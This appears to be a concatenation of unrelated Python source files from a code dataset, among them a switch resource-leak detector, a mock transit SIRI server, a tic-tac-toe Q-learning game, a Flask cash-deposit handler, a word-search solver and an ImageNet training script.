self.log = logging.getLogger('nextestlog')\n\n\n def getSnapshot(self):\n \"\"\"\n Get snapshot of a resource on MSW.\n \n This method is dummy. This method is defined in the derived\n classes.\n \n \"\"\"\n raise NotImplementedError\n\n\n def _fetchfile(self, mymsw, remotepath, localpath):\n \"\"\"\n Fetch the data file from remote MSW to a local file.\n\n \"\"\"\n remoteaccess = \"root@%s:%s\" % (mymsw.ipaddr, remotepath)\n command = \"scp -q %s %s\" % (remoteaccess, localpath)\n \n os.system(command)\n\n if not os.path.isfile(localpath):\n message = \"MswResource: failed to fetch file to %s\" % localpath\n self.log.error(message)\n else:\n message = \"MswResource: copied %s to %s\" % (remoteaccess,localpath)\n self.log.info(message) \n\n\nclass VportsResource(MswResource):\n \"\"\"\n Responsible for collecting Vports data at MSW.\n \"\"\"\n def __init__(self, path=None):\n \n # Call base class init\n MswResource.__init__(self, path)\n\n # Create vports dictionary\n self.vport = { }\n\n self.vport['avlbl vports'] = None\n self.vport['used vports'] = None\n self.vport['media avlbl vports'] = None\n self.vport['media used vports'] = None\n\n \n def vportsfileParser(self, vportfile):\n \"\"\"\n \tParse the vports data file.\n\n The method parses the vports data file to collect specific\n resource details such as vports and media vports.\n \"\"\"\n # Read the contents of the file to a list\n filehandle = open(vportfile, 'r')\n datalist = filehandle.readlines()\n filehandle.close()\n \n # Get the vports dictionary from the list\n for dataline in datalist:\n line = dataline.replace('\\n','')\n\n # Add contents to the dictionary \n if (line.find('VPORTS') == -1):\n continue\n elif (line.find('Available VPORTS') != -1):\n self.vport['avlbl vports'] = line[line.rfind(\"\\t\")+1:]\n elif (line.find('Used VPORTS') != -1):\n self.vport['used vports'] = line[line.rfind(\"\\t\")+1:]\n elif (line.find('Available Media') != -1):\n self.vport['media avlbl vports'] = line[line.rfind(\"\\t\")+1:]\n elif (line.find('Used Media') != -1):\n self.vport['media used vports'] = line[line.rfind(\"\\t\")+1:]\n\n\n def getSnapshot(self, mymsw):\n \"\"\"\n Get the snapshot of vport resource at 'mymsw'.\n \n The method records the snapshot of vports at the MSW.\n Then, gets the recorded data file to the local machine.\n It parses the data file to produce the data dictionary\n for vports resource.\n \"\"\"\n # Send the command to record vports data\n vportfile = 'vportsData.txt'\n remotepath = self.mswpath + vportfile\n\n # using tempfile module to create local tempfile\n tempname = tempfile.mkstemp('.txt')\n localpath = tempname[1]\n \n mymsw.ssh.sendline('cli lstat > %s' % remotepath)\n \n # Fetch the file to local machine\n self._fetchfile(mymsw, remotepath, localpath)\n \n # Parse the file and get data dictionary\n self.vportsfileParser(localpath)\n \n # Delete the local file\n command = \"rm -f %s\" % localpath\n os.system(command)\n \n # Delete the remote file\n mymsw.ssh.sendline('rm -f %s' % remotepath)\n\n # Return the dictionary to the caller\n vport = { }\n for key in self.vport.keys():\n vport[key] = self.vport[key]\n \n return vport\n\n\nclass CallcacheResource(MswResource):\n \"\"\"\n Responsible for collecting Callcache data at MSW.\n \"\"\"\n def __init__(self, path=None):\n \n # Call base class init\n MswResource.__init__(self, path)\n\n # Create callcache dictionary\n self.callcache = { }\n\n self.callcache['active calls'] = None\n self.callcache['call legs'] = None\n\n \n def callcachefileParser(self, cachefile):\n \"\"\"\n \tParse the callcache data file.\n\n The method parses the callcache data file to collect specific\n resource details such as active calls and call legs.\n \"\"\"\n\n # Read the contents of the file to a list\n filehandle = open(cachefile, 'r')\n cachelist = filehandle.readlines()\n filehandle.close()\n \n # Get the callcache dictionary from the list\n for cacheline in cachelist:\n line = cacheline.replace('\\n','')\n\n # Add contents to the dictionary \n if (line.find('Calls') == -1) or (line.find('Legs') == -1):\n continue\n\n self.callcache['active calls'] = line[:line.find(\" \")]\n self.callcache['call legs']=line[line.find(\", \")+2:line.rfind(\" \")]\n\n\n def getSnapshot(self, mymsw):\n \"\"\"\n Get the snapshot of call resource at 'mymsw'\n \n The method records the snapshot of callcache at the MSW.\n Then, gets the recorded data file to the local machine.\n It parses the data file to produce the data dictionary\n for callcache resource.\n \"\"\"\n # Send the command to record callcache data\n cCachefile = 'callcacheData.txt'\n remotepath = self.mswpath + cCachefile\n \n # using tempfile module to create local tempfile\n tempname = tempfile.mkstemp('.txt')\n localpath = tempname[1]\n \n mymsw.ssh.sendline('cli call cache %s' % remotepath)\n \n # Fetch the file to local machine\n self._fetchfile(mymsw, remotepath, localpath)\n \n # Parse the file and get data dictionary\n self.callcachefileParser(localpath)\n \n # Delete the local file\n command = \"rm -f %s\" % localpath\n os.system(command)\n \n # Delete the remote file\n mymsw.ssh.sendline('rm -f %s' % remotepath)\n\n # Return the dictionary to the caller\n callcache = { }\n for key in self.callcache.keys():\n callcache[key] = self.callcache[key]\n \n return callcache\n\n\nclass ResourceLeakDetector(object):\n\n def __init__(self):\n \"\"\"\n Create resource list for watching.\n Create null lists for holding the snapshot data at\n a later point of time.\n \"\"\"\n # Connect to primary MSW\n self.primaryMsw = msw.MSWInfo('mymsw')\n\n # bkup MSW might be there or may not be there!!\n try:\n self.backupMsw = msw.MSWInfo('bkupmsw')\n except:\n self.bkupexists = False\n else:\n self.bkupexists = True\n\n # Connect to logging started earlier\n self.log = logging.getLogger('nextestlog')\n\n # Create instances of all resouces and put them in resourceList\n self.resourceList = []\n self.resourceList.append(VportsResource('/tmp/'))\n self.resourceList.append(CallcacheResource('/usr/local/nextone/bin/'))\n \n # Information log\n self.log.info(\"ResourceWatch: Resource list created\")\n\n # Create a null preconditionList\n self.precampaignList = []\n \n # Create a null postconditionList\n self.postcampaignList = []\n\n # Create null lists for bkup MSW\n if self.bkupexists:\n self.bkupPrecampaignList =[]\n self.bkupPostcampaignList =[]\n\n\n def precondition(self):\n \"\"\"\n Collect resource snapshots before the test campaign\n\n The method collects snapshots of all the resources in\n the resource list. Corresponding getSnapshot method\n from the resource class is called to do the job.\n \"\"\"\n if self.precampaignList != []:\n return\n\n # Get pre campaign snapshots\n for resource in self.resourceList:\n self.precampaignList.append(resource.getSnapshot(self.primaryMsw))\n\n if self.bkupexists:\n self.bkupPrecampaignList.append(resource.getSnapshot(self.backupMsw))\n \n # Debug log\n self.log.debug(\"ResourceWatch: preCampaign snapshot taken\")\n\n\n def _formResultDictionary(self, predict, postdict):\n \"\"\"\n Forms result dictionary to be used in annotation updation\n \"\"\"\n result = { }\n\n # get all the keys in the input dictionary\n keylist = predict.keys()\n\n # form the the result dictionary from the inputs\n for key in keylist:\n result[key] = \"pre value: %s post value: %s\" % (predict[key],\n postdict[key])\n\n # return the formed result dictionary\n return result\n\n\n def postcondition(self, res_streams):\n\n if self.postcampaignList != []:\n return\n\n # Get post campaign snapshots\n for resource in self.resourceList:\n self.postcampaignList.append(resource.getSnapshot(self.primaryMsw))\n\n if self.bkupexists:\n self.bkupPostcampaignList.append(resource.getSnapshot(self.backupMsw))\n\n # Debug log\n self.log.debug(\"ResourceWatch: postCampaign snapshot taken\")\n\n # Create result object to write result\n resrcResult = Result(Result.TEST,\"MSW Resource Watch\")\n\n for i in range(len(self.precampaignList)):\n\n #dictionaries can be directly compared.\n if self.precampaignList[i] != self.postcampaignList[i]:\n\n # resource leakage, just print the pre and post elements\n resrcResult.SetOutcome(Result.ERROR,\"Resource leak happened\")\n\n logResult =self._formResultDictionary(self.precampaignList[i],\n self.postcampaignList[i])\n resrcResult.Annotate(logResult)\n\n # write to debug log\n self.log.error(\"MSW RESOURCE WATCH: Resource leak occured\")\n\n for key in logResult.keys():\n self.log.error(\"%s :: %s\" % (key, logResult[key]))\n \n # write to the result streams\n for rstream in res_streams:\n rstream.WriteResult(resrcResult)\n\n # Do the resource check on backup MSW\n if self.bkupexists:\n\n # Create result object to write result\n bkupResult = Result(Result.TEST,\"BKUP MSW Resource Watch\")\n\n for i in range(len(self.bkupPrecampaignList)):\n\n #dictionaries can be directly compared.\n if self.bkupPrecampaignList[i] != self.bkupPostcampaignList[i]:\n\n # resource leakage, print the pre and post elements\n bkupResult.SetOutcome(Result.ERROR,\"Resourceleak happened\")\n\n logResult =self._formResultDictionary(self.bkupPrecampaignList[i], self.bkupPostcampaignList[i])\n resrcResult.Annotate(logResult)\n\n # write to debug log\n self.log.error(\"BKUP MSW RESOURCE WATCH: leakage occured\")\n\n for key in logResult.keys():\n self.log.error(\"%s :: %s\" % (key, logResult[key]))\n\n # write to the result streams\n for rstream in res_streams:\n rstream.WriteResult(bkupResult)\n\n\n########################################################################\n# Unit tests\n########################################################################\n\nclass ResourceTest(unittest.TestCase):\n \"\"\"\n Unittest class for testing the main parts of resourcewatch.py code.\n \"\"\"\n\n def testVports(self):\n \"\"\"\n testVports tests the snapshot capability of VportsResource\n and the result format of the 'cli lstat' command\n \"\"\"\n myserver = msw.MSWInfo('mymsw')\n # instantiate the class\n vportObject = VportsResource('/tmp/')\n\n # get vport snapshot\n vportDict = vportObject.getSnapshot(ResourceTest.myserver)\n\n # Assertions\n self.assertNotEqual(vportDict['avlbl vports'], None)\n self.assertNotEqual(vportDict['used vports'], None)\n self.assertNotEqual(vportDict['media avlbl vports'], None)\n self.assertNotEqual(vportDict['media used vports'], None)\n\n\n def testCallCache(self):\n \"\"\"\n testCallCache tests the snapshot capability of CallcacheResource\n and the result format of the 'cli call cache' command\n \"\"\"\n myserver = msw.MSWInfo('mymsw')\n # instantiate the class\n callObject = CallcacheResource('/usr/local/nextone/bin/')\n\n # get call cache snapshot\n callDict = callObject.getSnapshot(ResourceTest.myserver)\n\n # Assertions\n self.assertNotEqual(callDict['active calls'], None)\n self.assertNotEqual(callDict['call legs'], None)\n\n\nif __name__ == '__main__':\n unittest.main()\n\n\n########################################################################\n# Local Variables:\n# mode: python\n# indent-tabs-mode: nil\n# fill-column: 78\n# auto-fill-function: do-auto-fill\n# End:\n","sub_path":"Nextest_12.xOS-bkup_2_21/opt/nextest/lib/python-old/site-packages/resourcewatch.py","file_name":"resourcewatch.py","file_ext":"py","file_size_in_byte":13834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"3458885","text":"#!/usr/bin/env python\n\n__author__ = 'shay delaney'\n__date__ = '22/04/2016'\n\n\"\"\" \ngeodistance2.py:\n\nA python program to find any city within 500km of Dublin.\n\nThis program will read a full list of cities from a file (url) and output the names of cities in\na 500 km radius from Dublin, sorted by name (ascending).\n\nTo calculate the distance between two coordinates, Great-circle distance is used.\nReference : https://en.wikipedia.org/wiki/Great-circle_distance\nHaversine Formula\n\n\"\"\"\n\nimport json, urllib.request\nimport math\n\n# Constants\n\n# URL to read location data from\nJSON_URL = \"https://gist.githubusercontent.com/mwtorkowski/16ca26a0c072ef743734/raw/2aa20e8de9f2292d58a4856602c1f0634d8611a7/cities.json\"\n\nDUBLIN_LOC = (53.333, -6.267) # GPS coordinates of Dublin as a tuple\nKMS_RADIUS = 500 # 500Km radius of Dublin\nEARTH_RADIUS = 6371 # Earths radius in kilometers\n\n\nclass Location:\n \"\"\"\n An object that represents a location read in from our data file.\n It contains latitude and longitude coordinates of a location, the city name, and a\n value to store is proximity from Dublin\n \"\"\"\n\n def __init__(self, city, lat, lon):\n \"\"\" Constructor for Location class \"\"\"\n self.lat = lat\n self.lon = lon\n self.distance = 0\n self.city = city\n\n def __repr__(self):\n return str(self.city)\n\n\nclass GreatCircleDistance:\n \"\"\"\n The main class which handles loading and processing of data, as well as a function to calculate\n the Great-circle distance formula (Haversine)\n \"\"\"\n def __init__(self):\n # Initialise Dublin lat and lon points in the class, store as radians\n self.lat2 = math.radians(DUBLIN_LOC[0])\n self.lon2 = math.radians(DUBLIN_LOC[1])\n\n def initialise_data(self, jsondata):\n \"\"\"\n Decodes the json data\n Returns a dictionary of json records\n \"\"\"\n\n try:\n json_location_records = json.loads(jsondata)\n return json_location_records\n\n except ValueError:\n print('Failed to decode JSON data in input')\n return \"Data Initialisation Failure\"\n\n\n def calculate_distance(self, lat, lon):\n \"\"\" Calculates distance between two poinrs.\n Point 1. Passed in latitude and longitude coordinates\n Point 2. Dublin's latitude and longitude coordinates\n Returns distance in kilometers\n \"\"\"\n\n # convert degrees to radians\n lat1 = math.radians(lat)\n lon1 = math.radians(lon)\n\n # Great-circle distance - Haversine\n lat_radians = self.lat2 - lat1\n lon_radians = self.lon2 - lon1\n\n a = (math.sin(lat_radians / 2) ** 2) + (math.cos(lat1) * math.cos(self.lat2)) * (math.sin(lon_radians / 2) ** 2)\n c = 2 * math.asin(math.sqrt(a))\n\n # Multiply by radius of Earth in Km's to get distance in Km's.\n d = EARTH_RADIUS * c\n\n return d\n\n\n def check_record(self, location):\n\n # construct a Location object from the record\n #c = Location( location['city'], location['lat'], location['lon'])\n\n # call function to calculate distance\n #distance = self.calculate_distance(c.lat, c.lon)\n\n #if distance <= KMS_RADIUS:\n #c.distance = distance # set distance into Location object\n #return c # add city to list of cities\n return location['city'] if self.calculate_distance(location['lat'], location['lon']) <= KMS_RADIUS else None\n\n\n def process_json_data(self, json_city_records):\n \"\"\"\n Process a dict of json city records.\n Call function to calculate distance between two points.\n Return list of cities whose location is within 500km of Dublin.\n \"\"\"\n list_of_cities = [record for record in json_city_records if self.check_record(json_city_records[record])]\n\n # sort list by city attribute\n list_of_cities.sort()\n\n return list_of_cities\n\n\ndef load_data():\n \"\"\"\n Loads the locations json data in from the URL\n \"\"\"\n try:\n location_data = urllib.request.urlopen(JSON_URL).read().decode('utf8')\n return location_data\n\n except urllib.error.URLError as e:\n print(e.reason)\n return None\n\n\nif __name__ == '__main__':\n\n # read data in from url\n data = load_data()\n\n if data:\n # instantiate GreatCircleDistance class\n gcd = GreatCircleDistance()\n\n # call function to read in and load data\n json_data = gcd.initialise_data(data)\n\n if json_data:\n # get a list of cities within 500km of Dublin\n list_within_radius = gcd.process_json_data(json_data)\n\n print(\"List of cities in 500km radius from Dublin:\")\n print(\"-------------------------------------------\")\n\n # print list as separate args\n print(*list_within_radius, sep='\\n')\n print(\"\\nTotal: \" + str(len(list_within_radius)))\n\n else:\n print(\"A problem occurred decoding the json data\")\n\n else:\n print(\"A problem occurred reading the data file\")","sub_path":"qualio/geodistance/geodistance/geodistance2.py","file_name":"geodistance2.py","file_ext":"py","file_size_in_byte":5123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"492027186","text":"#!/usr/bin/env python3\n# mock_siri_server.py - a fake SIRI-SM server for testing curlbus\n#\n# Copyright 2018 Elad Alfassa \n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n# SPDX-License-Identifier: GPL-3.0-or-later\n\"\"\"Usage: mock_siri_server.py [-c ] [-p ]\n\nStart mock siri server\nOptions:\n -c , --config Use the specified configuration file.\n -p , --port Port to listen on. Defaults to 8081\n\"\"\"\nimport dateutil.tz\nimport configparser\nfrom docopt import docopt\nfrom aiohttp import web\nfrom gino.ext.aiohttp import Gino\nfrom curlbus.gtfs import model as gtfs_model\nfrom random import randint\nfrom datetime import datetime, timedelta\nfrom dateutil.parser import parse\nimport xmltodict\n\nSIRI_RESPONSE_BODY = \"\"\"\n\n\n\n\n{timestamp}\nMock Siri Server\n76203\n[REDACTED]\ntrue\n\n{timestamp}\ntrue\n{body}\n\n\n\n\n\n\"\"\"\n\nSTOPVISIT_TEMPLATE = \"\"\"\n\n{timestamp}\n{i}\n{stop_code}\n\n{route_id}\n{direction_id}\n\n{trip_id_date}\n{trip_id}\n\n{route_short_name}\n{operator_id}\n{destination_code}\n{departed}\n\n34.746543884277344\n32.012107849121094\n\n###\n\n{stop_code}\n{eta}\n\n\n\n\"\"\"\n\nRANDOM_TRIPS_QUERY = \"\"\"SELECT t.trip_id\n FROM stoptimes as st\n JOIN trips as t ON t.trip_id=st.trip_id\n JOIN stops as s ON s.stop_id=st.stop_id\n WHERE s.stop_code='{code}'\n GROUP BY t.trip_id\n ORDER BY random() LIMIT 5;\"\"\"\n\n\ndef parse_request(data: dict) -> list:\n \"\"\" quick and dirty parser for SIRI requests. Returns a list of stop codes, nothing else \"\"\"\n ret = []\n requests = data['SOAP-ENV:Envelope']['SOAP-ENV:Body']['siriWS:GetStopMonitoringService']['Request']['siri:StopMonitoringRequest']\n if not isinstance(requests, list):\n requests = [requests]\n for request in requests:\n ret.append(int(request['siri:MonitoringRef']['#text']))\n return ret\n\n\nasync def random_trips(db, stop_code: int):\n \"\"\" Get random trips for a stop \"\"\"\n # Query random trips that actually happen in this stop\n result = await db.all(RANDOM_TRIPS_QUERY.format(code=stop_code))\n trips = [r[0] for r in result] # remove the noise\n # get ORM trip objects\n query = gtfs_model.Trip.query.where(gtfs_model.Trip.trip_id.in_(trips))\n return await db.all(query)\n\n\nasync def get_route_for_trip(db, trip: gtfs_model.Trip) -> gtfs_model.Route:\n query = gtfs_model.Route.query.where(gtfs_model.Route.route_id == trip.route_id)\n return (await db.all(query))[0]\n\n\ndef now():\n return datetime.now(dateutil.tz.tzlocal())\n\n\nclass MockSIRIServer(object):\n def __init__(self, config):\n db = Gino(model_classes=tuple(gtfs_model.tables))\n app = web.Application(middlewares=[db])\n app[\"config\"] = config\n\n db.init_app(app)\n app.add_routes([web.post('/{tail:.*}', self.handle_request)])\n self._app = app\n\n def run(self, port):\n web.run_app(self._app, port=port)\n\n async def handle_request(self, request):\n db = request.app['db']\n data = await request.text()\n xmldict = xmltodict.parse(data)\n body = \"\"\n stops = parse_request(xmldict)\n for stop in stops:\n for i, trip in enumerate(await random_trips(db, stop)):\n # Collect variables\n route = await get_route_for_trip(db, trip)\n destination_code = await trip.get_last_stop_code(db)\n timestamp = now()\n\n # Make up random times\n eta = now() + timedelta(minutes=randint(0, 30))\n departed = now() - timedelta(minutes=randint(0, 180))\n trip_id = trip.trip_id.split('_')[0]\n trip_date = parse(trip.trip_id.split('_')[1])\n\n # Create xml object in the most hackish way possible\n body += STOPVISIT_TEMPLATE.format(i=i,\n trip_id=trip_id,\n trip_id_date=trip_date,\n departed=str(departed),\n eta=str(eta),\n route_id=trip.route_id,\n timestamp=timestamp,\n route_short_name=route.route_short_name,\n stop_code=stop,\n operator_id=route.agency_id,\n direction_id=trip.direction_id,\n destination_code=destination_code)\n\n resp = SIRI_RESPONSE_BODY.format(timestamp=now(), body=body)\n return web.Response(text=resp)\n\n\ndef main():\n arguments = docopt(__doc__)\n configfile = arguments['--config'] or \"config.ini\"\n port_str = arguments['--port']\n port = int(port_str) if port_str else 8081\n config = configparser.ConfigParser()\n config.read(configfile)\n config_dict = {s: dict(config.items(s)) for s in config.sections()}\n server = MockSIRIServer(config_dict)\n server.run(port)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"mock_siri_server.py","file_name":"mock_siri_server.py","file_ext":"py","file_size_in_byte":7528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"334948275","text":"import json\nimport argparse\nimport sys\n\n\ndef load_data(datafile):\n return json.load(datafile) \n\n\ndef pretty_print_json(data, outfile):\n json.dump(data, outfile, indent=4, ensure_ascii=False)\n\n\ndef get_parser():\n parser = argparse.ArgumentParser()\n parser.add_argument('infile', type=argparse.FileType('r'),\n help='file contataining json to pretty print')\n parser.add_argument('-o', '--outfile', type=argparse.FileType('w'), \n default=sys.stdout,\n help='file to output pretty json into ')\n return parser\n\n\nif __name__ == '__main__':\n args = get_parser().parse_args()\n pretty_print_json(load_data(args.infile), args.outfile)\n\n","sub_path":"pprint_json.py","file_name":"pprint_json.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"555878596","text":"from RL import RL\nfrom State import State\nfrom Policy import Policy\nfrom pathlib import Path\nimport numpy\n\nprint(\"___________\")\nprint(\"TIC TAC TOE\")\nprint(\"___________\\n\")\nprint(\"Learning...\")\n\ntrainEpisodes = 100000\nAI = RL(0.05)\n\nQfile = Path(\"Qvals.npy\")\nif Qfile.is_file():\n print(\"Loaded Q File\")\n AI.policy.Q = numpy.load(\"Qvals.npy\")\n AI.QLearning(0.95,0.9,0.1,trainEpisodes)\n\nelse:\n print(\"Starting New Training\")\n AI.QLearning(0.95,0.9,0.1,trainEpisodes)\nnumpy.save(\"Qvals.npy\", AI.policy.Q)\n\n'''\nGame\n'''\n\nwhile(True):\n val = input(\"\\nEnter 1 to go first, enter otherwise to go second: \")\n\n state = State()\n stateID = state.getID()\n R=0\n movesLeft = 9\n currentPlayer = 1\n avMoves = [True]*9\n playerTurn = False\n\n if(val==\"1\"):\n playerTurn = True\n \n while((R!=-1 and R!=1) and movesLeft>0):\n state.print()\n \n #Player Moves\n if(playerTurn):\n #Check that the player introduced an avaiable move\n \n while(True):\n val = input(\"\\nYour Move (1 - 9): \")\n A = eval(val)-1\n if(avMoves[A]):\n break\n else:\n state.print()\n print(\"\\nInvalid move, please select an available move only\")\n #AI Moves\n else:\n A = AI.policy.greedy(stateID, avMoves)\n state.act(A, currentPlayer)\n stateID = state.getID()\n R = state.reward(currentPlayer)\n currentPlayer *= -1\n movesLeft-=1\n avMoves[A] = False\n playerTurn = not playerTurn\n\n state.print()\n if(R*currentPlayer==1):\n print(\"P2 wins\")\n elif(R*currentPlayer==-1):\n print(\"P1 wins\")\n else:\n print(\"Tie\")\n \n val = input(\"\\nEnter 1 to play another game: \")\n if(val!=\"1\"):\n break\n","sub_path":"TicTacToe/HumanGame.py","file_name":"HumanGame.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"14576563","text":"#Tee ohjelma, joka kysyy käyttäjältä kuinka monesta arvosanasta lasketaan keskiarvo.\n#Sen jälkeen kysy arvosanat ja laske keskiarvo.\narvosanat = []\n\nluku = int(input(\"Kuinka monesta luvusta otetaan keskiarvo? \"))\n\n\nfor i in range (0, luku):\n arvosana = int(input(\"Anna arvosana: \"))\n arvosanat.append(arvosana)\n i =+ 1\n\n\nprint(\"Keskiarvo on\", sum(arvosanat)/len(arvosanat))\n","sub_path":"python/viikko4/teht3.py","file_name":"teht3.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"295823516","text":"'''\n Time Complexity:\n O(mn*3^l)\n (m = length of the board, n = width of the board, l = length of the word)\n (Because our in our DFS tree, each node with have at most 3 children,\n that is, from each cell, we will go in 3 possible directions (because we won't go back).\n And, this DFS will be run at most mn times.)\n\n Space Complexity:\n O(l)\n (l = length of the word)\n (because at the most, the stack trace will be searching for the l-1th char)\n\n Did this code successfully run on LeetCode?:\n Yes\n\n Problems faced while coding this:\n None\n\n Approach:\n Backtracking approach.\n For each cell on the board:\n -> If the character at cell matches the starting character of the string:\n -> Mark this visited and check neighboring nodes for the next character.\n -> While backtracting, reset the marked character to its original.\n'''\n\nVISITED = '.'\nDIRECTIONS = [\n (1, 0), (-1, 0), (0, 1), (0, -1)\n]\n\nclass Solution:\n def __init__(self):\n self.board = []\n self.word = ''\n\n def exist(self, board: List[List[str]], word: str) -> bool:\n self.board = board\n self.word = word\n\n for i, row in enumerate(board):\n for j, char in enumerate(row):\n if self.is_char_match(i, j, 0):\n return True\n\n return False\n\n def is_char_match(self, row, col, idx):\n if idx == len(self.word):\n return True\n\n if row not in range(len(self.board)):\n return False\n\n if col not in range(len(self.board[row])):\n return False\n\n char = self.board[row][col]\n if char != self.word[idx] or char == VISITED:\n return False\n\n self.board[row][col] = VISITED\n\n for i, j in DIRECTIONS:\n r = row + i\n c = col + j\n if self.is_char_match(r, c, idx + 1):\n return True\n\n self.board[row][col] = char\n return False\n","sub_path":"WordSearch.py","file_name":"WordSearch.py","file_ext":"py","file_size_in_byte":2049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"636366657","text":"from flask import request, render_template\nfrom helpers import apology, lookup, usd\n\n\ndef validate_credit_entry(credit):\n valid = False\n message = \"\"\n\n if not credit: \n message = \"No Cash value provided!\"\n return (valid, message)\n\n elif credit[0] == '-' and credit[1].isdigit() == True:\n message = \"You cannot purchase less than 1 stock.\"\n return (valid, message)\n\n # Let's check whether/not credit is indeed a float:\n dot_count = 0\n int_count = 0\n for i in credit:\n if i == \".\" and i != credit[0]:\n dot_count += 1\n if ord(i) >= 48 and ord(i) < 58:\n int_count += 1\n \n if (dot_count + int_count) != len(credit):\n message = \"Please provide your cash value in numeric form EG 1.00 or 1\"\n return (valid, message)\n\n if float(credit) < 1.0:\n message = \"You must provide a balance above $1.\"\n return (valid, message)\n \n return (True, \"\")\n\n\ndef post_add_credit(session, userRepo):\n credit = request.form.get(\"credit\")\n valid = validate_credit_entry(credit)[0]\n message = validate_credit_entry(credit)[1]\n if not valid:\n return apology(message)\n\n user_id = session[\"user_id\"]\n user_account = userRepo.getById(user_id)[0]\n balance = float(user_account[\"cash\"])\n updated_balance = round(balance + float(credit), 2)\n userRepo.updateCashById(user_id, updated_balance)\n added_cash = usd(float(credit))\n\n message = \"You have successfully deposited \" + added_cash\n\n balance_display = {\n \"prior_balance\": usd(balance), \n \"added_cash\": added_cash, \n \"updated_cash_balance\": usd(updated_balance),\n \"message\": message\n }\n\n return render_template(\"updated_balance.html\", balance_display=balance_display)","sub_path":"service/addcash.py","file_name":"addcash.py","file_ext":"py","file_size_in_byte":1790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"116060829","text":"from __future__ import print_function\nimport datetime\nimport os\nimport time\n\nimport torch\nimport torch.utils.data\nfrom torch import nn\nimport torchvision\nfrom torchvision import transforms\n\nimport utils\n\n\ndef train_one_epoch(model, criterion, optimizer, data_loader, device, epoch, print_freq):\n model.train()\n metric_logger = utils.MetricLogger(delimiter=\" \")\n metric_logger.add_meter('lr', utils.SmoothedValue(window_size=1, fmt='{value}'))\n header = 'Epoch: [{}]'.format(epoch)\n for image, target in metric_logger.log_every(data_loader, print_freq, header):\n image, target = image.to(device), target.to(device)\n output = model(image)\n loss = criterion(output, target)\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n acc1, acc5 = utils.accuracy(output, target, topk=(1, 5))\n batch_size = image.shape[0]\n metric_logger.update(loss=loss.item(), lr=optimizer.param_groups[0][\"lr\"])\n metric_logger.meters['acc1'].update(acc1.item(), n=batch_size)\n metric_logger.meters['acc5'].update(acc5.item(), n=batch_size)\n\n\ndef evaluate(model, criterion, data_loader, device):\n model.eval()\n metric_logger = utils.MetricLogger(delimiter=\" \")\n header = 'Test:'\n with torch.no_grad():\n for image, target in metric_logger.log_every(data_loader, 100, header):\n image = image.to(device, non_blocking=True)\n target = target.to(device, non_blocking=True)\n output = model(image)\n loss = criterion(output, target)\n\n acc1, acc5 = utils.accuracy(output, target, topk=(1, 5))\n # FIXME need to take into account that the datasets\n # could have been padded in distributed setup\n batch_size = image.shape[0]\n metric_logger.update(loss=loss.item())\n metric_logger.meters['acc1'].update(acc1.item(), n=batch_size)\n metric_logger.meters['acc5'].update(acc5.item(), n=batch_size)\n # gather the stats from all processes\n metric_logger.synchronize_between_processes()\n\n print(' * Acc@1 {top1.global_avg:.3f} Acc@5 {top5.global_avg:.3f}'\n .format(top1=metric_logger.acc1, top5=metric_logger.acc5))\n return metric_logger.acc1.global_avg\n\n\ndef main(args):\n utils.init_distributed_mode(args)\n print(args)\n\n device = torch.device(args.device)\n\n torch.backends.cudnn.benchmark = True\n\n # Data loading code\n print(\"Loading data\")\n traindir = os.path.join(args.data_path, 'train')\n valdir = os.path.join(args.data_path, 'val')\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n\n print(\"Loading training data\")\n st = time.time()\n scale = (0.08, 1.0)\n if args.model == 'mobilenet_v2':\n scale = (0.2, 1.0)\n dataset = torchvision.datasets.ImageFolder(\n traindir,\n transforms.Compose([\n transforms.RandomResizedCrop(224, scale=scale),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n normalize,\n ]))\n print(\"Took\", time.time() - st)\n\n print(\"Loading validation data\")\n dataset_test = torchvision.datasets.ImageFolder(\n valdir,\n transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n normalize,\n ]))\n\n print(\"Creating data loaders\")\n if args.distributed:\n train_sampler = torch.utils.data.distributed.DistributedSampler(dataset)\n test_sampler = torch.utils.data.distributed.DistributedSampler(dataset_test)\n else:\n train_sampler = torch.utils.data.RandomSampler(dataset)\n test_sampler = torch.utils.data.SequentialSampler(dataset_test)\n\n data_loader = torch.utils.data.DataLoader(\n dataset, batch_size=args.batch_size,\n sampler=train_sampler, num_workers=args.workers, pin_memory=True)\n\n data_loader_test = torch.utils.data.DataLoader(\n dataset_test, batch_size=args.batch_size,\n sampler=test_sampler, num_workers=args.workers, pin_memory=True)\n\n print(\"Creating model\")\n model = torchvision.models.__dict__[args.model]()\n model.to(device)\n if args.distributed:\n model = torch.nn.utils.convert_sync_batchnorm(model)\n","sub_path":"labelling_dataset/rename_method/torch.nn.utils.convert_sync_batchnorm - rename_method torch.nn.SyncBatchNorm.convert_sync_batchnorm/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":4347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"625467611","text":"#%%\nimport numpy as np \nimport matplotlib.pyplot as plt\n# %% \nx = 